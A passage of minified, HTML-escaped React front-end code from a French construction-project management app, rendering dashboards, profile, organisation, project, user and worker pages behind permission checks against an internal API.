&quot;,s.jsx(&quot;span&quot;,{className:&quot;text-stone-400&quot;,children:u.organization.name})]}):null]}),f&amp;&amp;r?s.jsxs(&quot;p&quot;,{className:&quot;mt-2 rounded-xl border border-stone-800 bg-stone-900/50 px-3 py-2 text-xs text-stone-400&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-amber-500/90&quot;,children:&quot;Chantier actif :&quot;}),&quot; &quot;,s.jsx(je,{to:`/projects/${r}`,className:&quot;text-stone-200 underline-offset-2 hover:underline&quot;,children:f.name})]}):c(&quot;projects.view&quot;)?s.jsx(&quot;p&quot;,{className:&quot;mt-2 text-xs text-stone-600&quot;,children:&quot;Aucun chantier sélectionné — choisissez-en un dans l’en-tête ou la liste chantiers.&quot;}):null]}),s.jsxs(&quot;section&quot;,{children:[s.jsx(&quot;h2&quot;,{className:&quot;text-sm font-medium text-stone-300&quot;,children:&quot;Raccourcis MVP&quot;}),s.jsx(&quot;ul&quot;,{className:&quot;mt-3 grid gap-2 sm:grid-cols-2&quot;,children:d.map(p=&gt;s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:p.to,className:jt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:p.title}),s.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:p.hint})]})},p.to))}),d.length===0?s.jsx(&quot;p&quot;,{className:&quot;mt-3 text-sm text-stone-500&quot;,children:&quot;Aucun raccourci accessible avec vos habilitations.&quot;}):null]})]})}function Cv(){const{user:u,logout:c}=we();return s.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;h1&quot;,{className:&quot;text-lg font-semibold text-stone-50&quot;,children:&quot;Profil&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:u==null?void 0:u.email})]}),s.jsxs(&quot;div&quot;,{className:&quot;rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3&quot;,children:[s.jsx(&quot;p&quot;,{className:&quot;text-xs font-medium uppercase tracking-wide text-stone-500&quot;,children:&quot;Habilitations (UX)&quot;}),s.jsx(&quot;ul&quot;,{className:&quot;mt-2 flex flex-wrap gap-1.5&quot;,children:((u==null?void 0:u.abilities)??[]).map(f=&gt;s.jsx(&quot;li&quot;,{className:&quot;rounded-md bg-stone-800 px-2 py-0.5 font-mono text-[11px] text-stone-300&quot;,children:f},f))})]}),s.jsx(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;void c(),className:&quot;w-full rounded-xl border border-stone-700 py-3 text-sm font-medium text-stone-200 hover:bg-stone-900&quot;,children:&quot;Se déconnecter&quot;})]})}function le({backTo:u,title:c,subtitle:f}){return s.jsxs(&quot;div&quot;,{className:&quot;mb-5 space-y-1&quot;,children:[u?s.jsx(je,{to:u,className:&quot;inline-block text-xs font-medium text-amber-500 hover:text-amber-400&quot;,children:&quot;← Retour&quot;}):null,s.jsx(&quot;h1&quot;,{className:&quot;text-lg font-semibold text-stone-50&quot;,children:c}),f?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:f}):null]})}function zv(){const{token:u,can:c}=we(),[f,r]=m.useState(null),[d,p]=m.useState(null),[g,v]=m.useState(!0);return m.useEffect(()=&gt;{if(!u||!c(&quot;organizations.view&quot;)){v(!1);return}let y=!1;return(async()=&gt;{try{const x=await ne(&quot;/api/v1/organizations/current&quot;,{method:&quot;GET&quot;,token:u});y||r(x.data)}catch(x){y||p(x instanceof ge?x.message:&quot;Chargement impossible&quot;)}finally{y||v(!1)}})(),()=&gt;{y=!0}},[u,c]),c(&quot;organizations.view&quot;)?g?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):d?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Organisation&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:d})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/&quot;,title:&quot;Organisation courante&quot;}),f?s.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3 text-sm&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase tracking-wide text-stone-500&quot;,children:&quot;Nom&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;font-medium text-stone-100&quot;,children:f.name})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase tracking-wide text-stone-500&quot;,children:&quot;Slug&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;font-mono text-stone-300&quot;,children:f.slug})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase tracking-wide text-stone-500&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:f.status})]})]}):null]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Organisation&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Vous n’avez pas l’habilitation organizations.view.&quot;})]})}function Rv(){const{token:u,can:c,user:f}=we(),{setActiveProjectId:r}=ft(),[d,p]=m.useState([]),[g,v]=m.useState(null),[y,x]=m.useState(!0);return m.useEffect(()=&gt;{if(!u||!c(&quot;projects.view&quot;)){x(!1);return}let S=!1;return(async()=&gt;{try{const b=await ne(&quot;/api/v1/projects?per_page=100&amp;sort=name&quot;,{method:&quot;GET&quot;,token:u});S||p(b.data)}catch(b){S||v(b instanceof ge?b.message:&quot;Erreur&quot;)}finally{S||x(!1)}})(),()=&gt;{S=!0}},[u,c]),c(&quot;projects.view&quot;)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/&quot;,title:&quot;Chantiers&quot;,subtitle:&quot;Projets visibles selon votre rôle et vos accès.&quot;}),(f==null?void 0:f.role)===&quot;entrepreneur_admin&quot;&amp;&amp;c(&quot;projects.manage&quot;)?s.jsx(je,{to:&quot;/projects/new&quot;,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouveau chantier&quot;}):null,g?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:g}):null,y?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:d.map(S=&gt;s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/projects/${S.id}`,className:jt,onClick:()=&gt;r(S.id),children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:S.name}),s.jsxs(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:[S.code??&quot;—&quot;,&quot; · &quot;,S.status]})]})},S.id))}),!y&amp;&amp;d.length===0?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucun chantier accessible.&quot;}):null]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Chantiers&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (projects.view).&quot;})]})}function Ov(){const{projectId:u}=nt(),c=Number(u),{token:f,can:r}=we(),{setActiveProjectId:d}=ft(),[p,g]=m.useState(null),[v,y]=m.useState(null),[x,S]=m.useState(!0);if(m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f){S(!1);return}d(c);let T=!1;return(async()=&gt;{try{const Y=await ne(`/api/v1/projects/${c}`,{method:&quot;GET&quot;,token:f});T||g(Y.data)}catch(Y){T||y(Y instanceof ge?Y.message:&quot;Chargement impossible&quot;)}finally{T||S(!1)}})(),()=&gt;{T=!0}},[c,f,d]),!Number.isFinite(c))return s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;});if(x)return s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;});if(v||!p)return s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/projects&quot;,title:&quot;Chantier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:v??&quot;Introuvable&quot;})]});const b=p.id;return s.jsxs(&quot;div&quot;,{className:&quot;space-y-5&quot;,children:[s.jsx(le,{backTo:&quot;/projects&quot;,title:p.name,subtitle:p.code??void 0}),s.jsxs(&quot;div&quot;,{className:&quot;rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3 text-sm text-stone-300&quot;,children:[s.jsxs(&quot;p&quot;,{children:[s.jsx(&quot;span&quot;,{className:&quot;text-stone-500&quot;,children:&quot;Statut :&quot;}),&quot; &quot;,p.status]}),p.location?s.jsxs(&quot;p&quot;,{className:&quot;mt-1&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-stone-500&quot;,children:&quot;Lieu :&quot;}),&quot; &quot;,p.location]}):null,p.description?s.jsx(&quot;p&quot;,{className:&quot;mt-2 text-stone-400&quot;,children:p.description}):null]}),s.jsx(&quot;div&quot;,{className:&quot;flex flex-wrap gap-2&quot;,children:r(&quot;projects.manage&quot;)?s.jsx(je,{to:`/projects/${b}/edit`,className:ml,children:&quot;Modifier&quot;}):null}),s.jsxs(&quot;section&quot;,{children:[s.jsx(&quot;h2&quot;,{className:&quot;text-xs font-semibold uppercase tracking-wide text-stone-500&quot;,children:&quot;Périmètre chantier&quot;}),s.jsxs(&quot;ul&quot;,{className:&quot;mt-2 space-y-2&quot;,children:[r(&quot;teams.view&quot;)?s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/projects/${b}/teams`,className:jt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:&quot;Équipes&quot;}),s.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:&quot;Équipes rattachées au chantier&quot;})]})}):null,r(&quot;worker_assignments.view&quot;)?s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/projects/${b}/assignments`,className:jt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:&quot;Affectations ouvriers&quot;}),s.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:&quot;Présence sur le chantier&quot;})]})}):null,r(&quot;projects.manage&quot;)?s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/projects/${b}/access`,className:jt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:&quot;Accès utilisateurs&quot;}),s.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:&quot;Qui voit ce chantier (hors rôles org.)&quot;})]})}):null]})]})]})}const Dv=[{value:&quot;preparation&quot;,label:&quot;Préparation&quot;},{value:&quot;active&quot;,label:&quot;Actif&quot;},{value:&quot;suspended&quot;,label:&quot;Suspendu&quot;},{value:&quot;completed&quot;,label:&quot;Terminé&quot;}];function wm(){const{projectId:u}=nt(),c=u?Number(u):null,f=Number.isFinite(c),r=$t(),{token:d,can:p,user:g}=we(),{refreshProjects:v}=ft(),[y,x]=m.useState(&quot;&quot;),[S,b]=m.useState(&quot;&quot;),[T,Y]=m.useState(&quot;&quot;),[R,U]=m.useState(&quot;&quot;),[w,k]=m.useState(&quot;&quot;),[$,F]=m.useState(&quot;&quot;),[I,te]=m.useState(&quot;preparation&quot;),[K,H]=m.useState(&quot;&quot;),[Z,q]=m.useState([]),[W,J]=m.useState(null),[L,P]=m.useState(!1),[ee,de]=m.useState(f);m.useEffect(()=&gt;{if(!d||!p(&quot;users.view&quot;))return;let G=!1;return(async()=&gt;{try{const ie=await ne(&quot;/api/v1/users?per_page=100&amp;sort=full_name&quot;,{method:&quot;GET&quot;,token:d});G||q(ie.data)}catch{}})(),()=&gt;{G=!0}},[d,p]),m.useEffect(()=&gt;{if(!f||!d||c===null||!Number.isFinite(c)){de(!1);return}let G=!1;return(async()=&gt;{try{const ie=await ne(`/api/v1/projects/${c}`,{method:&quot;GET&quot;,token:d});if(!G){const pe=ie.data;x(pe.name),b(pe.code??&quot;&quot;),Y(pe.description??&quot;&quot;),U(pe.location??&quot;&quot;),k(pe.start_date??&quot;&quot;),F(pe.expected_end_date??&quot;&quot;),te(pe.status),H(pe.site_manager_user_id?String(pe.site_manager_user_id):&quot;&quot;)}}catch(ie){G||J(ie instanceof ge?ie.message:&quot;Chargement impossible&quot;)}finally{G||de(!1)}})(),()=&gt;{G=!0}},[f,c,d]);async function D(G){if(G.preventDefault(),!d)return;J(null),P(!0);const ie={name:y,code:S||null,description:T||null,location:R||null,start_date:w||null,expected_end_date:$||null,status:I,site_manager_user_id:K?Number(K):null};try{f&amp;&amp;c!==null?await ne(`/api/v1/projects/${c}`,{method:&quot;PATCH&quot;,token:d,body:JSON.stringify(ie)}):await ne(&quot;/api/v1/projects&quot;,{method:&quot;POST&quot;,token:d,body:JSON.stringify(ie)}),await v(),r(f?`/projects/${c}`:&quot;/projects&quot;)}catch(pe){J(pe instanceof ge?pe.message:&quot;Enregistrement impossible&quot;)}finally{P(!1)}}return p(&quot;projects.manage&quot;)?!f&amp;&amp;(g==null?void 0:g.role)!==&quot;entrepreneur_admin&quot;?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/projects&quot;,title:&quot;Nouveau chantier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Seul le rôle entrepreneur (admin) peut créer un chantier dans le MVP.&quot;})]}):ee?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:f&amp;&amp;c!==null?`/projects/${c}`:&quot;/projects&quot;,title:f?&quot;Modifier le chantier&quot;:&quot;Nouveau chantier&quot;}),s.jsxs(&quot;form&quot;,{onSubmit:G=&gt;void D(G),className:&quot;space-y-4&quot;,children:[W?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:W}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-name&quot;,className:oe,children:&quot;Nom&quot;}),s.jsx(&quot;input&quot;,{id:&quot;p-name&quot;,className:re,value:y,onChange:G=&gt;x(G.target.value),required:!0})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-code&quot;,className:oe,children:&quot;Code&quot;}),s.jsx(&quot;input&quot;,{id:&quot;p-code&quot;,className:re,value:S,onChange:G=&gt;b(G.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-desc&quot;,className:oe,children:&quot;Description&quot;}),s.jsx(&quot;textarea&quot;,{id:&quot;p-desc&quot;,className:re,rows:3,value:T,onChange:G=&gt;Y(G.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-loc&quot;,className:oe,children:&quot;Lieu&quot;}),s.jsx(&quot;input&quot;,{id:&quot;p-loc&quot;,className:re,value:R,onChange:G=&gt;U(G.target.value)})]}),s.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-3&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-start&quot;,className:oe,children:&quot;Début&quot;}),s.jsx(&quot;input&quot;,{id:&quot;p-start&quot;,type:&quot;date&quot;,className:re,value:w,onChange:G=&gt;k(G.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-end&quot;,className:oe,children:&quot;Fin prévue&quot;}),s.jsx(&quot;input&quot;,{id:&quot;p-end&quot;,type:&quot;date&quot;,className:re,value:$,onChange:G=&gt;F(G.target.value)})]})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-status&quot;,className:oe,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{id:&quot;p-status&quot;,className:re,value:I,onChange:G=&gt;te(G.target.value),children:Dv.map(G=&gt;s.jsx(&quot;option&quot;,{value:G.value,children:G.label},G.value))})]}),p(&quot;users.view&quot;)?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;p-sm&quot;,className:oe,children:&quot;Responsable site (utilisateur)&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;p-sm&quot;,className:re,value:K,onChange:G=&gt;H(G.target.value),children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),Z.map(G=&gt;s.jsxs(&quot;option&quot;,{value:G.id,children:[G.full_name,&quot; (&quot;,G.email,&quot;)&quot;]},G.id))]})]}):null,s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:L,className:Dt,children:L?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Chantier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec projects.manage (hors financier).&quot;})]})}function wv(){const{token:u,can:c}=we(),[f,r]=m.useState([]),[d,p]=m.useState(null),[g,v]=m.useState(!0);return m.useEffect(()=&gt;{if(!u||!c(&quot;users.view&quot;)){v(!1);return}let y=!1;return(async()=&gt;{try{const x=await ne(&quot;/api/v1/users?per_page=100&amp;sort=full_name&quot;,{method:&quot;GET&quot;,token:u});y||r(x.data)}catch(x){y||p(x instanceof ge?x.message:&quot;Erreur&quot;)}finally{y||v(!1)}})(),()=&gt;{y=!0}},[u,c]),c(&quot;users.view&quot;)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/&quot;,title:&quot;Utilisateurs&quot;}),c(&quot;users.manage&quot;)?s.jsx(je,{to:&quot;/users/new&quot;,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouvel utilisateur&quot;}):null,d?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:d}):null,g?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:f.map(y=&gt;s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/users/${y.id}`,className:jt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:y.full_name}),s.jsxs(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:[y.email,&quot; · &quot;,Ai(y.role),y.is_active?&quot;&quot;:&quot; · inactif&quot;]})]})},y.id))}),!g&amp;&amp;f.length===0?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucun utilisateur.&quot;}):null]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Utilisateurs&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé à l’entrepreneur admin (MVP).&quot;})]})}function Mv(){const{userId:u}=nt(),c=Number(u),{token:f,can:r}=we(),[d,p]=m.useState(null),[g,v]=m.useState(null),[y,x]=m.useState(!0);return m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!r(&quot;users.view&quot;)){x(!1);return}let S=!1;return(async()=&gt;{try{const b=await ne(`/api/v1/users/${c}`,{method:&quot;GET&quot;,token:f});S||p(b.data)}catch(b){S||v(b instanceof ge?b.message:&quot;Erreur&quot;)}finally{S||x(!1)}})(),()=&gt;{S=!0}},[c,f,r]),r(&quot;users.view&quot;)?Number.isFinite(c)?y?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):g||!d?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/users&quot;,title:&quot;Utilisateur&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:g??&quot;Introuvable&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/users&quot;,title:d.full_name}),s.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3 text-sm&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;E-mail&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.email})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Téléphone&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.phone??&quot;—&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Rôle&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:Ai(d.role)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Actif&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.is_active?&quot;oui&quot;:&quot;non&quot;})]})]}),r(&quot;users.manage&quot;)?s.jsx(je,{to:`/users/${d.id}/edit`,className:`inline-block ${ml}`,children:&quot;Modifier&quot;}):null]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Utilisateur&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function Mm(){const{userId:u}=nt(),c=u?Number(u):null,f=Number.isFinite(c),r=$t(),{token:d,can:p}=we(),[g,v]=m.useState(&quot;&quot;),[y,x]=m.useState(&quot;&quot;),[S,b]=m.useState(&quot;&quot;),[T,Y]=m.useState(&quot;chef_chantier&quot;),[R,U]=m.useState(&quot;&quot;),[w,k]=m.useState(&quot;&quot;),[$,F]=m.useState(!0),[I,te]=m.useState(null),[K,H]=m.useState(!1),[Z,q]=m.useState(f);m.useEffect(()=&gt;{if(!f||!d||c===null||!Number.isFinite(c)){q(!1);return}let J=!1;return(async()=&gt;{try{const L=await ne(`/api/v1/users/${c}`,{method:&quot;GET&quot;,token:d});if(!J){const P=L.data;v(P.full_name),x(P.email),b(P.phone??&quot;&quot;),Y(P.role),F(P.is_active)}}catch(L){J||te(L instanceof ge?L.message:&quot;Chargement impossible&quot;)}finally{J||q(!1)}})(),()=&gt;{J=!0}},[f,c,d]);async function W(J){if(J.preventDefault(),!!d){te(null),H(!0);try{if(f&amp;&amp;c!==null){const L={full_name:g,email:y,phone:S||null,role:T,is_active:$};R&amp;&amp;(L.password=R,L.password_confirmation=w),await ne(`/api/v1/users/${c}`,{method:&quot;PATCH&quot;,token:d,body:JSON.stringify(L)}),r(`/users/${c}`)}else await ne(&quot;/api/v1/users&quot;,{method:&quot;POST&quot;,token:d,body:JSON.stringify({full_name:g,email:y,phone:S||null,role:T,password:R,password_confirmation:w,is_active:$})}),r(&quot;/users&quot;)}catch(L){te(L instanceof ge?L.message:&quot;Enregistrement impossible&quot;)}finally{H(!1)}}}return p(&quot;users.manage&quot;)?Z?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:f&amp;&amp;c!==null?`/users/${c}`:&quot;/users&quot;,title:f?&quot;Modifier l’utilisateur&quot;:&quot;Nouvel utilisateur&quot;}),s.jsxs(&quot;form&quot;,{onSubmit:J=&gt;void W(J),className:&quot;space-y-4&quot;,children:[I?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:I}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;u-name&quot;,className:oe,children:&quot;Nom complet&quot;}),s.jsx(&quot;input&quot;,{id:&quot;u-name&quot;,className:re,value:g,onChange:J=&gt;v(J.target.value),required:!0})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;u-email&quot;,className:oe,children:&quot;E-mail&quot;}),s.jsx(&quot;input&quot;,{id:&quot;u-email&quot;,type:&quot;email&quot;,className:re,value:y,onChange:J=&gt;x(J.target.value),required:!0})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;u-phone&quot;,className:oe,children:&quot;Téléphone&quot;}),s.jsx(&quot;input&quot;,{id:&quot;u-phone&quot;,className:re,value:S,onChange:J=&gt;b(J.target.value)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;u-role&quot;,className:oe,children:&quot;Rôle&quot;}),s.jsx(&quot;select&quot;,{id:&quot;u-role&quot;,className:re,value:T,onChange:J=&gt;Y(J.target.value),children:sh.map(J=&gt;s.jsx(&quot;option&quot;,{value:J.value,children:J.label},J.value))})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;u-pass&quot;,className:oe,children:f?&quot;Nouveau mot de passe (optionnel)&quot;:&quot;Mot de passe&quot;}),s.jsx(&quot;input&quot;,{id:&quot;u-pass&quot;,type:&quot;password&quot;,autoComplete:&quot;new-password&quot;,className:re,value:R,onChange:J=&gt;U(J.target.value),required:!f})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;u-pass2&quot;,className:oe,children:&quot;Confirmation&quot;}),s.jsx(&quot;input&quot;,{id:&quot;u-pass2&quot;,type:&quot;password&quot;,autoComplete:&quot;new-password&quot;,className:re,value:w,onChange:J=&gt;k(J.target.value),required:!f||!!R})]}),s.jsxs(&quot;label&quot;,{className:&quot;flex items-center gap-2 text-sm text-stone-300&quot;,children:[s.jsx(&quot;input&quot;,{type:&quot;checkbox&quot;,checked:$,onChange:J=&gt;F(J.target.checked)}),&quot;Compte actif&quot;]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:K,className:Dt,children:K?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Utilisateur&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé à l’entrepreneur admin.&quot;})]})}function Uv(){const{token:u,can:c}=we(),[f,r]=m.useState([]),[d,p]=m.useState(null),[g,v]=m.useState(!0);return m.useEffect(()=&gt;{if(!u||!c(&quot;workers.view&quot;)){v(!1);return}let y=!1;return(async()=&gt;{try{const x=await ne(&quot;/api/v1/workers?per_page=100&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:u});y||r(x.data)}catch(x){y||p(x instanceof ge?x.message:&quot;Erreur&quot;)}finally{y||v(!1)}})(),()=&gt;{y=!0}},[u,c]),c(&quot;workers.view&quot;)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/&quot;,title:&quot;Ouvriers&quot;}),c(&quot;workers.manage&quot;)?s.jsx(je,{to:&quot;/workers/new&quot;,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouvel ouvrier&quot;}):null,d?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:d}):null,g?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:f.map(y=&gt;s.jsx(&quot;li&quot;,{children:s.jsxs(je,{to:`/workers/${y.id}`,className:jt,children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:y.display_name}),s.jsxs(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:[y.external_reference??&quot;—&quot;,&quot; · &quot;,y.specialty??&quot;spécialité —&quot;,y.is_active?&quot;&quot;:&quot; · inactif&quot;]})]})},y.id))}),!g&amp;&amp;f.length===0?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucun ouvrier.&quot;}):null]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Ouvriers&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (workers.view).&quot;})]})}function Hv(){const{workerId:u}=nt(),c=Number(u),{token:f,can:r}=we(),[d,p]=m.useState(null),[g,v]=m.useState(null),[y,x]=m.useState(!0);return m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!r(&quot;workers.view&quot;)){x(!1);return}let S=!1;return(async()=&gt;{try{const b=await 